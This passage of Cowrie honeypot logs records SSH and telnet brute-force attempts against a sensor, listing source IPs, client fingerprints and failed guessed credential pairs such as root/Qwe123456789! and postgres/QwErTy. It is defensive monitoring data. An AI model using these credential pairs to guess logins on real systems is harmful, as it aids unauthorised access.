"chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:47.051341Z","src_ip":"221.139.88.149","session":"2610f94effe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suser","password":"1234","message":"login attempt [suser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:47.184976Z","src_ip":"201.149.53.243","session":"f743c2180d4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.253.68.42","src_port":54064,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee54b173c343","protocol":"telnet","message":"New connection: 103.253.68.42:54064 (159.203.135.109:23) [session: ee54b173c343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:47.471527Z"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver1","message":"login attempt [mcserver/mcserver1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:48.014644Z","src_ip":"221.139.88.149","session":"2610f94effe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:48.252540Z","src_ip":"201.149.53.243","session":"f743c2180d4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:49.259950Z","src_ip":"221.139.88.149","session":"2610f94effe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":58594,"dst_ip":"10.17.0.5","dst_port":22,"session":"77214f15ed95","protocol":"ssh","message":"New connection: 185.216.119.134:58594 (10.17.0.5:22) [session: 77214f15ed95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:53.889083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:53.894034Z","src_ip":"185.216.119.134","session":"77214f15ed95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:54.743939Z","src_ip":"185.216.119.134","session":"77214f15ed95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"redhat","message":"login attempt [ubuntu/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:56.025069Z","src_ip":"185.216.119.134","session":"77214f15ed95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:57.256408Z","src_ip":"185.216.119.134","session":"77214f15ed95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59306,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b49a44c9db5","protocol":"ssh","message":"New connection: 159.203.92.129:59306 (159.203.135.109:22) [session: 2b49a44c9db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:58.801428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:58.805948Z","src_ip":"159.203.92.129","session":"2b49a44c9db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:58.810002Z","src_ip":"159.203.92.129","session":"2b49a44c9db5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"YHDP","password":"YHDP","message":"login attempt [YHDP/YHDP] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:58.820961Z","src_ip":"159.203.92.129","session":"2b49a44c9db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:32:59.830870Z","src_ip":"159.203.92.129","session":"2b49a44c9db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.915507316589355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:18.386763Z","src_ip":"103.253.68.42","session":"ee54b173c343","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":45650,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef8b9254953e","protocol":"ssh","message":"New connection: 210.183.21.53:45650 (10.17.0.5:22) [session: ef8b9254953e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:26.333749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:26.338821Z","src_ip":"210.183.21.53","session":"ef8b9254953e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:26.538036Z","src_ip":"210.183.21.53","session":"ef8b9254953e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123456789!","message":"login attempt [root/Qwe123456789!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:27.364933Z","src_ip":"210.183.21.53","session":"ef8b9254953e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:28.566930Z","src_ip":"210.183.21.53","session":"ef8b9254953e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":56808,"dst_ip":"159.203.135.109","dst_port":22,"session":"d59cc5c80937","protocol":"ssh","message":"New connection: 31.59.89.180:56808 (159.203.135.109:22) [session: d59cc5c80937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:33.089083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:33.093754Z","src_ip":"31.59.89.180","session":"d59cc5c80937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:33.204454Z","src_ip":"31.59.89.180","session":"d59cc5c80937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"11111111","message":"login attempt [test/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:33.676612Z","src_ip":"31.59.89.180","session":"d59cc5c80937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:34.798251Z","src_ip":"31.59.89.180","session":"d59cc5c80937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":5837,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b34149765e2","protocol":"ssh","message":"New connection: 201.149.53.243:5837 (10.17.0.5:22) [session: 5b34149765e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:37.236486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:37.241071Z","src_ip":"201.149.53.243","session":"5b34149765e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:37.308352Z","src_ip":"201.149.53.243","session":"5b34149765e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@2024","message":"login attempt [mysql/mysql@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:37.607255Z","src_ip":"201.149.53.243","session":"5b34149765e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:38.679034Z","src_ip":"201.149.53.243","session":"5b34149765e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42834,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d8ec557ca18","protocol":"ssh","message":"New connection: 159.203.92.129:42834 (159.203.135.109:22) [session: 5d8ec557ca18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:40.433994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:40.438255Z","src_ip":"159.203.92.129","session":"5d8ec557ca18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:40.442373Z","src_ip":"159.203.92.129","session":"5d8ec557ca18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"YHDP","password":"YHDP123","message":"login attempt [YHDP/YHDP123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:40.457141Z","src_ip":"159.203.92.129","session":"5d8ec557ca18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:41.463683Z","src_ip":"159.203.92.129","session":"5d8ec557ca18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":37720,"dst_ip":"159.203.135.109","dst_port":22,"session":"edf457311777","protocol":"ssh","message":"New connection: 173.249.6.197:37720 (159.203.135.109:22) [session: edf457311777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:42.975909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:42.981044Z","src_ip":"173.249.6.197","session":"edf457311777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:43.080981Z","src_ip":"173.249.6.197","session":"edf457311777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"QwErTy","message":"login attempt [postgres/QwErTy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:43.500580Z","src_ip":"173.249.6.197","session":"edf457311777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":56350,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3afed48afae","protocol":"ssh","message":"New connection: 221.139.88.149:56350 (159.203.135.109:22) [session: b3afed48afae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:44.471925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:44.477096Z","src_ip":"221.139.88.149","session":"b3afed48afae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:33:44.600498Z","src_ip":"173.249.6.197","session":"edf457311777","protocol":"ssh"}
